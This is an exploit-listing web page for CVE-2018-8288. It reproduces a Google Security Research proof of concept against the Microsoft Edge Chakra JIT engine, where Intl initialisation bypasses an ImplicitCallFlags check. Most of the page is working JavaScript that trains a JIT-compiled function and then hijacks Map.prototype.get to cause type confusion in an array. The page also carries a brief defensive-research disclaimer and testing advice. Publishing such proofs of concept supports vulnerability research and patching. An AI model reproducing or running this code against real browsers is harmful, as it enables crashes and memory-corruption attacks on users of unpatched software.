Materialized exploit

CVE-2018-8288

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra JIT - ImplicitCallFlags Check Bypass with Intl

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code js

/*
If the Intl object hasn't been initialized, access to any property of it will trigger the initialization process which will run Intl.js. The problem is that it runs Intl.js without caring about the ImplicitCallFlags flag.

In the PoC, it redefines Map.prototype.get to intercept the execution of Intl.js.

PoC:
*/

function opt(arr, obj) {
    arr[0] = 1.1;
    obj.x;
    arr[0] = 2.3023e-320;
}

let arr = [1.1];
for (let i = 0; i < 0x10000; i++) {
    opt(arr, {});
}

let get = Map.prototype.get;
Map.prototype.get = function (key) {
    Map.prototype.get = get;

    arr[0] = {};

    return this.get(key);
};

opt(arr, Intl);

alert(arr[0]);